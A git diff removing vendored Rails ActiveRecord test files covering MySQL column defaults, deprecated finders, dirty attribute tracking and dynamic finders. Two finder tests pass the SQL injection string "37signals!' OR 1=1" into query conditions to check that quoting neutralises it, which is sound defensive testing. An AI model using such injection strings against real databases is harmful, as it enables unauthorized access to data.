-    # ActiveRecord::Base#create! (and #save and other related methods) will
-    # open a new transaction. When in transactional fixtures mode, this will
-    # cause ActiveRecord to create a new savepoint. However, since MySQL doesn't
-    # support DDL transactions, creating a table will result in any created
-    # savepoints to be automatically released. This in turn causes the savepoint
-    # release code in AbstractAdapter#transaction to fail.
-    #
-    # We don't want that to happen, so we disable transactional fixtures here.
-    self.use_transactional_fixtures = false
-    
-    # MySQL 5 and higher is quirky with not null text/blob columns.
-    # With MySQL Text/blob columns cannot have defaults. If the column is not
-    # null MySQL will report that the column has a null default
-    # but it behaves as though the column had a default of ''
-    def test_mysql_text_not_null_defaults
-      klass = Class.new(ActiveRecord::Base)
-      klass.table_name = 'test_mysql_text_not_null_defaults'
-      klass.connection.create_table klass.table_name do |t|
-        t.column :non_null_text, :text, :null => false
-        t.column :non_null_blob, :blob, :null => false
-        t.column :null_text, :text, :null => true
-        t.column :null_blob, :blob, :null => true
-      end
-      assert_equal '', klass.columns_hash['non_null_blob'].default
-      assert_equal '', klass.columns_hash['non_null_text'].default
-
-      assert_equal nil, klass.columns_hash['null_blob'].default
-      assert_equal nil, klass.columns_hash['null_text'].default
-
-      assert_nothing_raised do
-        instance = klass.create!
-        assert_equal '', instance.non_null_text
-        assert_equal '', instance.non_null_blob
-        assert_nil instance.null_text
-        assert_nil instance.null_blob
-      end
-    ensure
-      klass.connection.drop_table(klass.table_name) rescue nil
-    end
-    
-    # MySQL uses an implicit default 0 rather than NULL unless in strict mode.
-    # We use an implicit NULL so schema.rb is compatible with other databases.
-    def test_mysql_integer_not_null_defaults
-      klass = Class.new(ActiveRecord::Base)
-      klass.table_name = 'test_integer_not_null_default_zero'
-      klass.connection.create_table klass.table_name do |t|
-        t.column :zero, :integer, :null => false, :default => 0
-        t.column :omit, :integer, :null => false
-      end
-
-      assert_equal 0, klass.columns_hash['zero'].default
-      assert !klass.columns_hash['zero'].null
-      # 0 in MySQL 4, nil in 5.
-      assert [0, nil].include?(klass.columns_hash['omit'].default)
-      assert !klass.columns_hash['omit'].null
-
-      assert_raise(ActiveRecord::StatementInvalid) { klass.create! }
-
-      assert_nothing_raised do
-        instance = klass.create!(:omit => 1)
-        assert_equal 0, instance.zero
-        assert_equal 1, instance.omit
-      end
-    ensure
-      klass.connection.drop_table(klass.table_name) rescue nil
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/deprecated_finder_test.rb b/vendor/rails/activerecord/test/cases/deprecated_finder_test.rb
deleted file mode 100644
index 2afc91b7..00000000
--- a/vendor/rails/activerecord/test/cases/deprecated_finder_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require "cases/helper"
-require 'models/entrant'
-
-class DeprecatedFinderTest < ActiveRecord::TestCase
-  fixtures :entrants
-
-  def test_deprecated_find_all_was_removed
-    assert_raise(NoMethodError) { Entrant.find_all }
-  end
-
-  def test_deprecated_find_first_was_removed
-    assert_raise(NoMethodError) { Entrant.find_first }
-  end
-
-  def test_deprecated_find_on_conditions_was_removed
-    assert_raise(NoMethodError) { Entrant.find_on_conditions }
-  end
-
-  def test_count
-    assert_equal(0, Entrant.count(:conditions => "id > 3"))
-    assert_equal(1, Entrant.count(:conditions => ["id > ?", 2]))
-    assert_equal(2, Entrant.count(:conditions => ["id > ?", 1]))
-  end
-
-  def test_count_by_sql
-    assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
-    assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
-    assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/dirty_test.rb b/vendor/rails/activerecord/test/cases/dirty_test.rb
deleted file mode 100644
index fb3d26f6..00000000
--- a/vendor/rails/activerecord/test/cases/dirty_test.rb
+++ /dev/null
@@ -1,316 +0,0 @@
-require 'cases/helper'
-require 'models/topic'    # For booleans
-require 'models/pirate'   # For timestamps
-require 'models/parrot'
-require 'models/person'   # For optimistic locking
-
-class Pirate # Just reopening it, not defining it
-  attr_accessor :detected_changes_in_after_update # Boolean for if changes are detected
-  attr_accessor :changes_detected_in_after_update # Actual changes
-
-  after_update :check_changes
-
-private
-  # after_save/update in sweepers, observers, and the model itself
-  # can end up checking dirty status and acting on the results
-  def check_changes
-    if self.changed?
-      self.detected_changes_in_after_update = true
-      self.changes_detected_in_after_update = self.changes
-    end
-  end
-end
-
-class NumericData < ActiveRecord::Base
-  self.table_name = 'numeric_data'
-end
-
-class DirtyTest < ActiveRecord::TestCase
-  def test_attribute_changes
-    # New record - no changes.
-    pirate = Pirate.new
-    assert !pirate.catchphrase_changed?
-    assert_nil pirate.catchphrase_change
-
-    # Change catchphrase.
-    pirate.catchphrase = 'arrr'
-    assert pirate.catchphrase_changed?
-    assert_nil pirate.catchphrase_was
-    assert_equal [nil, 'arrr'], pirate.catchphrase_change
-
-    # Saved - no changes.
-    pirate.save!
-    assert !pirate.catchphrase_changed?
-    assert_nil pirate.catchphrase_change
-
-    # Same value - no changes.
-    pirate.catchphrase = 'arrr'
-    assert !pirate.catchphrase_changed?
-    assert_nil pirate.catchphrase_change
-  end
-
-  def test_aliased_attribute_changes
-    # the actual attribute here is name, title is an
-    # alias setup via alias_attribute
-    parrot = Parrot.new
-    assert !parrot.title_changed?
-    assert_nil parrot.title_change
-
-    parrot.name = 'Sam'
-    assert parrot.title_changed?
-    assert_nil parrot.title_was
-    assert_equal parrot.name_change, parrot.title_change
-  end
-
-  def test_nullable_number_not_marked_as_changed_if_new_value_is_blank
-    pirate = Pirate.new
-
-    ["", nil].each do |value|
-      pirate.parrot_id = value
-      assert !pirate.parrot_id_changed?
-      assert_nil pirate.parrot_id_change
-    end
-  end
-
-  def test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank
-    numeric_data = NumericData.new
-
-    ["", nil].each do |value|
-      numeric_data.bank_balance = value
-      assert !numeric_data.bank_balance_changed?
-      assert_nil numeric_data.bank_balance_change
-    end
-  end
-
-  def test_nullable_float_not_marked_as_changed_if_new_value_is_blank
-    numeric_data = NumericData.new
-
-    ["", nil].each do |value|
-      numeric_data.temperature = value
-      assert !numeric_data.temperature_changed?
-      assert_nil numeric_data.temperature_change
-    end
-  end
-
-  def test_nullable_integer_zero_to_string_zero_not_marked_as_changed
-    pirate = Pirate.new
-    pirate.parrot_id = 0
-    pirate.catchphrase = 'arrr'
-    assert pirate.save!
-
-    assert !pirate.changed?
-
-    pirate.parrot_id = '0'
-    assert !pirate.changed?
-  end
-
-  def test_zero_to_blank_marked_as_changed
-    pirate = Pirate.new
-    pirate.catchphrase = "Yarrrr, me hearties"
-    pirate.parrot_id = 1
-    pirate.save
-
-    # check the change from 1 to ''
-    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
-    pirate.parrot_id = ''
-    assert pirate.parrot_id_changed?
-    assert_equal([1, nil], pirate.parrot_id_change)
-    pirate.save
-
-    # check the change from nil to 0
-    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
-    pirate.parrot_id = 0
-    assert pirate.parrot_id_changed?
-    assert_equal([nil, 0], pirate.parrot_id_change)
-    pirate.save
-
-    # check the change from 0 to ''
-    pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
-    pirate.parrot_id = ''
-    assert pirate.parrot_id_changed?
-    assert_equal([0, nil], pirate.parrot_id_change)
-  end
-
-  def test_object_should_be_changed_if_any_attribute_is_changed
-    pirate = Pirate.new
-    assert !pirate.changed?
-    assert_equal [], pirate.changed
-    assert_equal Hash.new, pirate.changes
-
-    pirate.catchphrase = 'arrr'
-    assert pirate.changed?
-    assert_nil pirate.catchphrase_was
-    assert_equal %w(catchphrase), pirate.changed
-    assert_equal({'catchphrase' => [nil, 'arrr']}, pirate.changes)
-
-    pirate.save
-    assert !pirate.changed?
-    assert_equal [], pirate.changed
-    assert_equal Hash.new, pirate.changes
-  end
-
-  def test_attribute_will_change!
-    pirate = Pirate.create!(:catchphrase => 'arr')
-
-    pirate.catchphrase << ' matey'
-    assert !pirate.catchphrase_changed?
-
-    assert pirate.catchphrase_will_change!
-    assert pirate.catchphrase_changed?
-    assert_equal ['arr matey', 'arr matey'], pirate.catchphrase_change
-
-    pirate.catchphrase << '!'
-    assert pirate.catchphrase_changed?
-    assert_equal ['arr matey', 'arr matey!'], pirate.catchphrase_change
-  end
-
-  def test_association_assignment_changes_foreign_key
-    pirate = Pirate.create!(:catchphrase => 'jarl')
-    pirate.parrot = Parrot.create!(:name => 'Lorre')
-    assert pirate.changed?
-    assert_equal %w(parrot_id), pirate.changed
-  end
-
-  def test_attribute_should_be_compared_with_type_cast
-    topic = Topic.new
-    assert topic.approved?
-    assert !topic.approved_changed?
-
-    # Coming from web form.
-    params = {:topic => {:approved => 1}}
-    # In the controller.
-    topic.attributes = params[:topic]
-    assert topic.approved?
-    assert !topic.approved_changed?
-  end
-
-  def test_partial_update
-    pirate = Pirate.new(:catchphrase => 'foo')
-    old_updated_on = 1.hour.ago.beginning_of_day
-
-    with_partial_updates Pirate, false do
-      assert_queries(2) { 2.times { pirate.save! } }
-      Pirate.update_all({ :updated_on => old_updated_on }, :id => pirate.id)
-    end
-
-    with_partial_updates Pirate, true do
-      assert_queries(0) { 2.times { pirate.save! } }
-      assert_equal old_updated_on, pirate.reload.updated_on
-
-      assert_queries(1) { pirate.catchphrase = 'bar'; pirate.save! }
-      assert_not_equal old_updated_on, pirate.reload.updated_on
-    end
-  end
-
-  def test_partial_update_with_optimistic_locking
-    person = Person.new(:first_name => 'foo')
-    old_lock_version = 1
-
-    with_partial_updates Person, false do
-      assert_queries(2) { 2.times { person.save! } }
-      Person.update_all({ :first_name => 'baz' }, :id => person.id)
-    end
-
-    with_partial_updates Person, true do
-      assert_queries(0) { 2.times { person.save! } }
-      assert_equal old_lock_version, person.reload.lock_version
-
-      assert_queries(1) { person.first_name = 'bar'; person.save! }
-      assert_not_equal old_lock_version, person.reload.lock_version
-    end
-  end
-
-  def test_changed_attributes_should_be_preserved_if_save_failure
-    pirate = Pirate.new
-    pirate.parrot_id = 1
-    assert !pirate.save
-    check_pirate_after_save_failure(pirate)
-
-    pirate = Pirate.new
-    pirate.parrot_id = 1
-    assert_raise(ActiveRecord::RecordInvalid) { pirate.save! }
-    check_pirate_after_save_failure(pirate)
-  end
-
-  def test_reload_should_clear_changed_attributes
-    pirate = Pirate.create!(:catchphrase => "shiver me timbers")
-    pirate.catchphrase = "*hic*"
-    assert pirate.changed?
-    pirate.reload
-    assert !pirate.changed?
-  end
-
-  def test_reverted_changes_are_not_dirty
-    phrase = "shiver me timbers"
-    pirate = Pirate.create!(:catchphrase => phrase)
-    pirate.catchphrase = "*hic*"
-    assert pirate.changed?
-    pirate.catchphrase = phrase
-    assert !pirate.changed?
-  end
-
-  def test_reverted_changes_are_not_dirty_after_multiple_changes
-    phrase = "shiver me timbers"
-    pirate = Pirate.create!(:catchphrase => phrase)
-    10.times do |i|
-      pirate.catchphrase = "*hic*" * i
-      assert pirate.changed?
-    end
-    assert pirate.changed?
-    pirate.catchphrase = phrase
-    assert !pirate.changed?
-  end
-
-
-  def test_reverted_changes_are_not_dirty_going_from_nil_to_value_and_back
-    pirate = Pirate.create!(:catchphrase => "Yar!")
-
-    pirate.parrot_id = 1
-    assert pirate.changed?
-    assert pirate.parrot_id_changed?
-    assert !pirate.catchphrase_changed?
-
-    pirate.parrot_id = nil
-    assert !pirate.changed?
-    assert !pirate.parrot_id_changed?
-    assert !pirate.catchphrase_changed?
-  end
-
-  def test_save_should_store_serialized_attributes_even_with_partial_updates
-    with_partial_updates(Topic) do
-      topic = Topic.create!(:content => {:a => "a"})
-      topic.content[:b] = "b"
-      #assert topic.changed? # Known bug, will fail
-      topic.save!
-      assert_equal "b", topic.content[:b]
-      topic.reload
-      assert_equal "b", topic.content[:b]
-    end
-  end
-
-  def test_save_should_not_save_serialized_attribute_with_partial_updates_if_not_present
-    with_partial_updates(Topic) do
-      Topic.create!(:author_name => 'Bill', :content => {:a => "a"})
-      topic = Topic.first(:select => 'id, author_name')
-      topic.update_attribute :author_name, 'John'
-      topic = Topic.first
-      assert_not_nil topic.content
-    end
-  end
-
-  private
-    def with_partial_updates(klass, on = true)
-      old = klass.partial_updates?
-      klass.partial_updates = on
-      yield
-    ensure
-      klass.partial_updates = old
-    end
-
-    def check_pirate_after_save_failure(pirate)
-      assert pirate.changed?
-      assert pirate.parrot_id_changed?
-      assert_equal %w(parrot_id), pirate.changed
-      assert_nil pirate.parrot_id_was
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/finder_respond_to_test.rb b/vendor/rails/activerecord/test/cases/finder_respond_to_test.rb
deleted file mode 100644
index 4e6fecf1..00000000
--- a/vendor/rails/activerecord/test/cases/finder_respond_to_test.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-
-class FinderRespondToTest < ActiveRecord::TestCase
-
-  fixtures :topics
-
-  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
-    class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) { }
-    assert Topic.respond_to?(:method_added_for_finder_respond_to_test)
-  ensure
-    class << Topic; self; end.send(:remove_method, :method_added_for_finder_respond_to_test)
-  end
-
-  def test_should_preserve_normal_respond_to_behaviour_and_respond_to_standard_object_method
-    assert Topic.respond_to?(:to_s)
-  end
-
-  def test_should_respond_to_find_by_one_attribute_before_caching
-    ensure_topic_method_is_not_cached(:find_by_title)
-    assert Topic.respond_to?(:find_by_title)
-  end
-
-  def test_should_respond_to_find_all_by_one_attribute
-    ensure_topic_method_is_not_cached(:find_all_by_title)
-    assert Topic.respond_to?(:find_all_by_title)
-  end
-
-  def test_should_respond_to_find_all_by_two_attributes
-    ensure_topic_method_is_not_cached(:find_all_by_title_and_author_name)
-    assert Topic.respond_to?(:find_all_by_title_and_author_name)
-  end
-
-  def test_should_respond_to_find_by_two_attributes
-    ensure_topic_method_is_not_cached(:find_by_title_and_author_name)
-    assert Topic.respond_to?(:find_by_title_and_author_name)
-  end
-
-  def test_should_respond_to_find_or_initialize_from_one_attribute
-    ensure_topic_method_is_not_cached(:find_or_initialize_by_title)
-    assert Topic.respond_to?(:find_or_initialize_by_title)
-  end
-
-  def test_should_respond_to_find_or_initialize_from_two_attributes
-    ensure_topic_method_is_not_cached(:find_or_initialize_by_title_and_author_name)
-    assert Topic.respond_to?(:find_or_initialize_by_title_and_author_name)
-  end
-
-  def test_should_respond_to_find_or_create_from_one_attribute
-    ensure_topic_method_is_not_cached(:find_or_create_by_title)
-    assert Topic.respond_to?(:find_or_create_by_title)
-  end
-
-  def test_should_respond_to_find_or_create_from_two_attributes
-    ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name)
-    assert Topic.respond_to?(:find_or_create_by_title_and_author_name)
-  end
-
-  def test_should_not_respond_to_find_by_one_missing_attribute
-    assert !Topic.respond_to?(:find_by_undertitle)
-  end
-
-  def test_should_not_respond_to_find_by_invalid_method_syntax
-    assert !Topic.respond_to?(:fail_to_find_by_title)
-    assert !Topic.respond_to?(:find_by_title?)
-    assert !Topic.respond_to?(:fail_to_find_or_create_by_title)
-    assert !Topic.respond_to?(:find_or_create_by_title?)
-  end
-
-  private
-
-  def ensure_topic_method_is_not_cached(method_id)
-    class << Topic; self; end.send(:remove_method, method_id) if Topic.public_methods.any? { |m| m.to_s == method_id.to_s }
-  end
-
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/cases/finder_test.rb b/vendor/rails/activerecord/test/cases/finder_test.rb
deleted file mode 100644
index c779a69f..00000000
--- a/vendor/rails/activerecord/test/cases/finder_test.rb
+++ /dev/null
@@ -1,1070 +0,0 @@
-require "cases/helper"
-require 'models/post'
-require 'models/author'
-require 'models/categorization'
-require 'models/comment'
-require 'models/company'
-require 'models/topic'
-require 'models/reply'
-require 'models/entrant'
-require 'models/developer'
-require 'models/customer'
-require 'models/job'
-require 'models/categorization'
-
-class DynamicFinderMatchTest < ActiveRecord::TestCase
-  def test_find_no_match
-    assert_nil ActiveRecord::DynamicFinderMatch.match("not_a_finder")
-  end
-
-  def test_find_by
-    match = ActiveRecord::DynamicFinderMatch.match("find_by_age_and_sex_and_location")
-    assert_not_nil match
-    assert match.finder?
-    assert_equal :first, match.finder
-    assert_equal %w(age sex location), match.attribute_names
-  end
-
-  def find_by_bang
-    match = ActiveRecord::DynamicFinderMatch.match("find_by_age_and_sex_and_location!")
-    assert_not_nil match
-    assert match.finder?
-    assert match.bang?
-    assert_equal :first, match.finder
-    assert_equal %w(age sex location), match.attribute_names
-  end
-
-  def test_find_all_by
-    match = ActiveRecord::DynamicFinderMatch.match("find_all_by_age_and_sex_and_location")
-    assert_not_nil match
-    assert match.finder?
-    assert_equal :all, match.finder
-    assert_equal %w(age sex location), match.attribute_names
-  end
-
-  def test_find_or_initialize_by
-    match = ActiveRecord::DynamicFinderMatch.match("find_or_initialize_by_age_and_sex_and_location")
-    assert_not_nil match
-    assert !match.finder?
-    assert match.instantiator?
-    assert_equal :first, match.finder
-    assert_equal :new, match.instantiator
-    assert_equal %w(age sex location), match.attribute_names
-  end
-
-  def test_find_or_create_by
-    match = ActiveRecord::DynamicFinderMatch.match("find_or_create_by_age_and_sex_and_location")
-    assert_not_nil match
-    assert !match.finder?
-    assert match.instantiator?
-    assert_equal :first, match.finder
-    assert_equal :create, match.instantiator
-    assert_equal %w(age sex location), match.attribute_names
-  end
-end
-
-class FinderTest < ActiveRecord::TestCase
-  fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers
-
-  def test_find
-    assert_equal(topics(:first).title, Topic.find(1).title)
-  end
-
-  # find should handle strings that come from URLs
-  # (example: Category.find(params[:id]))
-  def test_find_with_string
-    assert_equal(Topic.find(1).title,Topic.find("1").title)
-  end
-
-  def test_exists
-    assert Topic.exists?(1)
-    assert Topic.exists?("1")
-    assert Topic.exists?(:author_name => "David")
-    assert Topic.exists?(:author_name => "Mary", :approved => true)
-    assert Topic.exists?(["parent_id = ?", 1])
-    assert !Topic.exists?(45)
-
-    begin
-      assert !Topic.exists?("foo")
-    rescue ActiveRecord::StatementInvalid
-      # PostgreSQL complains about string comparison with integer field
-    rescue Exception
-      flunk
-    end
-
-    assert_raise(NoMethodError) { Topic.exists?([1,2]) }
-  end
-
-  def test_exists_returns_true_with_one_record_and_no_args
-    assert Topic.exists?
-  end
-
-  def test_does_not_exist_with_empty_table_and_no_args_given
-    Topic.delete_all
-    assert !Topic.exists?
-  end
-
-  def test_exists_with_aggregate_having_three_mappings
-    existing_address = customers(:david).address
-    assert Customer.exists?(:address => existing_address)
-  end
-
-  def test_exists_with_aggregate_having_three_mappings_with_one_difference
-    existing_address = customers(:david).address
-    assert !Customer.exists?(:address =>
-      Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
-    assert !Customer.exists?(:address =>
-      Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
-    assert !Customer.exists?(:address =>
-      Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
-  end
-
-  def test_exists_with_scoped_include
-    Developer.with_scope(:find => { :include => :projects, :order => "projects.name" }) do
-      assert Developer.exists?
-    end
-  end
-
-  def test_find_by_array_of_one_id
-    assert_kind_of(Array, Topic.find([ 1 ]))
-    assert_equal(1, Topic.find([ 1 ]).length)
-  end
-
-  def test_find_by_ids
-    assert_equal 2, Topic.find(1, 2).size
-    assert_equal topics(:second).title, Topic.find([2]).first.title
-  end
-
-  def test_find_by_ids_with_limit_and_offset
-    assert_equal 2, Entrant.find([1,3,2], :limit => 2).size
-    assert_equal 1, Entrant.find([1,3,2], :limit => 3, :offset => 2).size
-
-    # Also test an edge case: If you have 11 results, and you set a
-    #   limit of 3 and offset of 9, then you should find that there
-    #   will be only 2 results, regardless of the limit.
-    devs = Developer.find :all
-    last_devs = Developer.find devs.map(&:id), :limit => 3, :offset => 9
-    assert_equal 2, last_devs.size
-  end
-
-  def test_find_an_empty_array
-    assert_equal [], Topic.find([])
-  end
-
-  def test_find_by_ids_missing_one
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, 2, 45) }
-  end
-
-  def test_find_all_with_limit
-    assert_equal(2, Entrant.find(:all, :limit => 2).size)
-    assert_equal(0, Entrant.find(:all, :limit => 0).size)
-  end
-
-  def test_find_all_with_prepared_limit_and_offset
-    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2, :offset => 1)
-
-    assert_equal(2, entrants.size)
-    assert_equal(entrants(:second).name, entrants.first.name)
-
-    assert_equal 3, Entrant.count
-    entrants = Entrant.find(:all, :order => "id ASC", :limit => 2, :offset => 2)
-    assert_equal(1, entrants.size)
-    assert_equal(entrants(:third).name, entrants.first.name)
-  end
-
-  def test_find_all_with_limit_and_offset_and_multiple_order_clauses
-    first_three_posts = Post.find :all, :order => 'author_id, id', :limit => 3, :offset => 0
-    second_three_posts = Post.find :all, :order => ' author_id,id ', :limit => 3, :offset => 3
-    last_posts = Post.find :all, :order => ' author_id, id  ', :limit => 3, :offset => 6
-
-    assert_equal [[0,3],[1,1],[1,2]], first_three_posts.map { |p| [p.author_id, p.id] }
-    assert_equal [[1,4],[1,5],[1,6]], second_three_posts.map { |p| [p.author_id, p.id] }
-    assert_equal [[2,7]], last_posts.map { |p| [p.author_id, p.id] }
-  end
-
-
-  def test_find_with_group
-    developers =  Developer.find(:all, :group => "salary", :select => "salary")
-    assert_equal 4, developers.size
-    assert_equal 4, developers.map(&:salary).uniq.size
-  end
-
-  def test_find_with_group_and_having
-    developers =  Developer.find(:all, :group => "salary", :having => "sum(salary) >  10000", :select => "salary")
-    assert_equal 3, developers.size
-    assert_equal 3, developers.map(&:salary).uniq.size
-    assert developers.all? { |developer|  developer.salary > 10000 }
-  end
-
-  def test_find_with_group_and_sanitized_having
-    developers =  Developer.find(:all, :group => "salary", :having => ["sum(salary) > ?", 10000], :select => "salary")
-    assert_equal 3, developers.size
-    assert_equal 3, developers.map(&:salary).uniq.size
-    assert developers.all? { |developer|  developer.salary > 10000 }
-  end
-
-  def test_find_with_entire_select_statement
-    topics = Topic.find_by_sql "SELECT * FROM topics WHERE author_name = 'Mary'"
-
-    assert_equal(1, topics.size)
-    assert_equal(topics(:second).title, topics.first.title)
-  end
-
-  def test_find_with_prepared_select_statement
-    topics = Topic.find_by_sql ["SELECT * FROM topics WHERE author_name = ?", "Mary"]
-
-    assert_equal(1, topics.size)
-    assert_equal(topics(:second).title, topics.first.title)
-  end
-
-  def test_find_by_sql_with_sti_on_joined_table
-    accounts = Account.find_by_sql("SELECT * FROM accounts INNER JOIN companies ON companies.id = accounts.firm_id")
-    assert_equal [Account], accounts.collect(&:class).uniq
-  end
-
-  def test_find_first
-    first = Topic.find(:first, :conditions => "title = 'The First Topic'")
-    assert_equal(topics(:first).title, first.title)
-  end
-
-  def test_find_first_failing
-    first = Topic.find(:first, :conditions => "title = 'The First Topic!'")
-    assert_nil(first)
-  end
-
-  def test_first
-    assert_equal topics(:second).title, Topic.first(:conditions => "title = 'The Second Topic of the day'").title
-  end
-
-  def test_first_failing
-    assert_nil Topic.first(:conditions => "title = 'The Second Topic of the day!'")
-  end
-
-  def test_unexisting_record_exception_handling
-    assert_raise(ActiveRecord::RecordNotFound) {
-      Topic.find(1).parent
-    }
-
-    Topic.find(2).topic
-  end
-
-  def test_find_only_some_columns
-    topic = Topic.find(1, :select => "author_name")
-    assert_raise(ActiveRecord::MissingAttributeError) {topic.title}
-    assert_equal "David", topic.author_name
-    assert !topic.attribute_present?("title")
-    #assert !topic.respond_to?("title")
-    assert topic.attribute_present?("author_name")
-    assert topic.respond_to?("author_name")
-  end
-
-  def test_find_on_blank_conditions
-    [nil, " ", [], {}].each do |blank|
-      assert_nothing_raised { Topic.find(:first, :conditions => blank) }
-    end
-  end
-
-  def test_find_on_blank_bind_conditions
-    [ [""], ["",{}] ].each do |blank|
-      assert_nothing_raised { Topic.find(:first, :conditions => blank) }
-    end
-  end
-
-  def test_find_on_array_conditions
-    assert Topic.find(1, :conditions => ["approved = ?", false])
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => ["approved = ?", true]) }
-  end
-
-  def test_find_on_hash_conditions
-    assert Topic.find(1, :conditions => { :approved => false })
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :approved => true }) }
-  end
-
-  def test_find_on_hash_conditions_with_explicit_table_name
-    assert Topic.find(1, :conditions => { 'topics.approved' => false })
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { 'topics.approved' => true }) }
-  end
-
-  def test_find_on_hash_conditions_with_hashed_table_name
-    assert Topic.find(1, :conditions => {:topics => { :approved => false }})
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => {:topics => { :approved => true }}) }
-  end
-
-  def test_find_with_hash_conditions_on_joined_table
-    firms = Firm.all :joins => :account, :conditions => {:accounts => { :credit_limit => 50 }}
-    assert_equal 1, firms.size
-    assert_equal companies(:first_firm), firms.first
-  end
-
-  def test_find_with_hash_conditions_on_joined_table_and_with_range
-    firms = DependentFirm.all :joins => :account, :conditions => {:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }}
-    assert_equal 1, firms.size
-    assert_equal companies(:rails_core), firms.first
-  end
-
-  def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
-    david = customers(:david)
-    assert Customer.find(david.id, :conditions => { 'customers.name' => david.name, :address => david.address })
-    assert_raise(ActiveRecord::RecordNotFound) {
-      Customer.find(david.id, :conditions => { 'customers.name' => david.name + "1", :address => david.address })
-    }
-  end
-
-  def test_find_on_association_proxy_conditions
-    assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10], Comment.find_all_by_post_id(authors(:david).posts).map(&:id).sort
-  end
-
-  def test_find_on_hash_conditions_with_range
-    assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1..2 }).map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :id => 2..3 }) }
-  end
-
-  def test_find_on_hash_conditions_with_end_exclusive_range
-    assert_equal [1,2,3], Topic.find(:all, :conditions => { :id => 1..3 }).map(&:id).sort
-    assert_equal [1,2], Topic.find(:all, :conditions => { :id => 1...3 }).map(&:id).sort
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(3, :conditions => { :id => 2...3 }) }
-  end
-
-  def test_find_on_hash_conditions_with_multiple_ranges
-    assert_equal [1,2,3], Comment.find(:all, :conditions => { :id => 1..3, :post_id => 1..2 }).map(&:id).sort
-    assert_equal [1], Comment.find(:all, :conditions => { :id => 1..1, :post_id => 1..10 }).map(&:id).sort
-  end
-
-  def test_find_on_multiple_hash_conditions
-    assert Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => false })
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "HHC", :replies_count => 1, :approved => false }) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1, :conditions => { :author_name => "David", :title => "The First Topic", :replies_count => 1, :approved => true }) }
-  end
-
-  def test_condition_interpolation
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = '%s'", "37signals"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!' OR 1=1"])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = %d", 1]).written_on
-  end
-
-  def test_condition_array_interpolation
-    assert_kind_of Firm, Company.find(:first, :conditions => ["name = '%s'", "37signals"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!"])
-    assert_nil Company.find(:first, :conditions => ["name = '%s'", "37signals!' OR 1=1"])
-    assert_kind_of Time, Topic.find(:first, :conditions => ["id = %d", 1]).written_on
-  end
-
-  def test_condition_hash_interpolation
-    assert_kind_of Firm, Company.find(:first, :conditions => { :name => "37signals"})
-    assert_nil Company.find(:first, :conditions => { :name => "37signals!"})
-    assert_kind_of Time, Topic.find(:first, :conditions => {:id => 1}).written_on
-  end
-
-  def test_hash_condition_find_malformed
-    assert_raise(ActiveRecord::StatementInvalid) {
-      Company.find(:first, :conditions => { :id => 2, :dhh => true })
-    }
-  end
-
-  def test_hash_condition_find_with_escaped_characters
-    Company.create("name" => "Ain't noth'n like' \#stuff")
-    assert Company.find(:first, :conditions => { :name => "Ain't noth'n like' \#stuff" })
-  end
-
-  def test_hash_condition_find_with_array
-    p1, p2 = Post.find(:all, :limit => 2, :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => { :id => [p1, p2] }, :order => 'id asc')
-    assert_equal [p1, p2], Post.find(:all, :conditions => { :id => [p1, p2.id] }, :order => 'id asc')
-  end
-
-  def test_hash_condition_find_with_nil
-    topic = Topic.find(:first, :conditions => { :last_read => nil } )
-    assert_not_nil topic
-    assert_nil topic.last_read
-  end
-
-  def test_hash_condition_find_with_aggregate_having_one_mapping
-    balance = customers(:david).balance
-    assert_kind_of Money, balance
-    found_customer = Customer.find(:first, :conditions => {:balance => balance})
-    assert_equal customers(:david), found_customer
-  end
-
-  def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_aggregate
-    gps_location = customers(:david).gps_location
-    assert_kind_of GpsLocation, gps_location
-    found_customer = Customer.find(:first, :conditions => {:gps_location => gps_location})
-    assert_equal customers(:david), found_customer
-  end
-
